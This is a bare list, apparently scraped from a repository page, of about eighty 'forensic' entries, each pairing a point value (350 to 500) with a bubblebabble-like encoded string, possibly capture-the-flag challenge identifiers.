forensic:350:xomos-mopit-hylix
|
||||||
|
forensic:350:xigar-lyzyp-zufox
|
||||||
|
forensic:350:xecom-papih-cogex
|
||||||
|
forensic:350:xugig-sagag-sicax
|
||||||
|
forensic:350:xobem-nifah-kypex
|
||||||
|
forensic:350:xegir-vopym-badax
|
||||||
|
forensic:350:xohel-bulip-depix
|
||||||
|
forensic:350:xobom-haveb-rehux
|
||||||
|
forensic:350:xuzin-vunef-culyx
|
||||||
|
forensic:400:xenip-sigeg-syzex
|
||||||
|
forensic:400:xecil-lukyr-nupex
|
||||||
|
forensic:400:xuhot-hepec-zesux
|
||||||
|
forensic:400:xukis-nuval-menyx
|
||||||
|
forensic:400:xebet-ryvol-pulyx
|
||||||
|
forensic:400:xogag-rypuk-dehyx
|
||||||
|
forensic:400:xuvip-cymoh-bagux
|
||||||
|
forensic:400:xinab-pozyl-tobyx
|
||||||
|
forensic:400:xorib-tivup-hokyx
|
||||||
|
forensic:400:xolep-demul-kunux
|
||||||
|
forensic:400:xekek-zahep-lanix
|
||||||
|
forensic:400:xiref-turez-vemox
|
||||||
|
forensic:400:xehib-nozas-kisux
|
||||||
|
forensic:400:xibak-gugir-vobux
|
||||||
|
forensic:400:xikef-mateh-duvox
|
||||||
|
forensic:400:xepod-zihub-hudux
|
||||||
|
forensic:400:xodok-lizef-bufyx
|
||||||
|
forensic:400:xubog-fozez-bizox
|
||||||
|
forensic:400:xurok-ledym-bavix
|
||||||
|
forensic:400:xepim-tusok-fysux
|
||||||
|
forensic:400:xogov-byzan-cobax
|
||||||
|
forensic:400:xipog-nydyd-mutux
|
||||||
|
forensic:400:xubov-citok-vokix
|
||||||
|
forensic:400:xudob-danuf-rimix
|
||||||
|
forensic:400:xetaz-zehuv-vacox
|
||||||
|
forensic:450:xuhis-huful-gelox
|
||||||
|
forensic:450:xetat-sihot-zubyx
|
||||||
|
forensic:450:xuvem-zihoz-levax
|
||||||
|
forensic:450:xomes-cifen-kynox
|
||||||
|
forensic:450:xolod-lesab-purex
|
||||||
|
forensic:450:xobis-gever-ravax
|
||||||
|
forensic:450:xihig-gobar-zaryx
|
||||||
|
forensic:450:xozev-mikih-serax
|
||||||
|
forensic:450:xupap-hific-pukux
|
||||||
|
forensic:450:xizag-tysur-ricex
|
||||||
|
forensic:450:xekol-ryfur-niryx
|
||||||
|
forensic:450:xucaf-bozym-mahux
|
||||||
|
forensic:450:xepeg-soden-hafux
|
||||||
|
forensic:450:xivap-zosoz-ravox
|
||||||
|
forensic:450:ximas-sysys-sulyx
|
||||||
|
forensic:450:xovik-libet-vimex
|
||||||
|
forensic:450:xopek-zabil-kymox
|
||||||
|
forensic:450:xivag-sudot-vyvex
|
||||||
|
forensic:450:xigev-hyvub-masex
|
||||||
|
forensic:450:xezov-hoteh-nofex
|
||||||
|
forensic:450:xezim-runel-tebax
|
||||||
|
forensic:450:ximep-voryk-mahex
|
||||||
|
forensic:450:xinec-pelov-tygyx
|
||||||
|
forensic:450:xefil-fucir-fivex
|
||||||
|
forensic:450:xigih-cisol-bugox
|
||||||
|
forensic:500:xibeh-zutit-vidax
|
||||||
|
forensic:500:xicap-zypim-posux
|
||||||
|
forensic:500:xeveg-fuhed-dypyx
|
||||||
|
forensic:500:xenas-lomyd-nymex
|
||||||
|
forensic:500:xisad-kizav-rypax
|
||||||
|
forensic:500:xopoh-gubel-rimox
|
||||||
|
forensic:500:xucez-linul-hutax
|
||||||
|
forensic:500:xupak-hotoh-gopux
|
||||||
|
forensic:500:xolar-fubog-sevox
|
||||||
|
forensic:500:xigoc-rekah-zyfux
|
||||||
|
forensic:500:xiceb-cymot-gafix
|
||||||
|
forensic:500:xosec-hecat-hypux
|
||||||
|
forensic:500:xokal-mikal-zadux
|
||||||
|
forensic:500:xoden-kalah-divox
|
||||||
|
forensic:500:xubic-teryk-lizix
|
||||||
|
forensic:500:xocat-debut-tatux
|
||||||
|
forensic:500:xegoh-meziz-ponyx
|
||||||
|
forensic:500:xosof-degil-tigyx
|
||||||
|
forensic:500:xitik-vavak-kivyx
|
||||||
|
forensic:500:xiner-biryn-nylox
|
||||||
|
forensic:500:xohik-golin-menyx
|
||||||
|
forensic:500:xulek-cikyv-ketax
|
||||||
|
forensic:500:xisis-nicik-fucyx
|
||||||
|
forensic:500:xukal-vinah-lihox
|
||||||
|
forensic:500:xuceb-zevit-rinax
|
Loading…
Reference in New Issue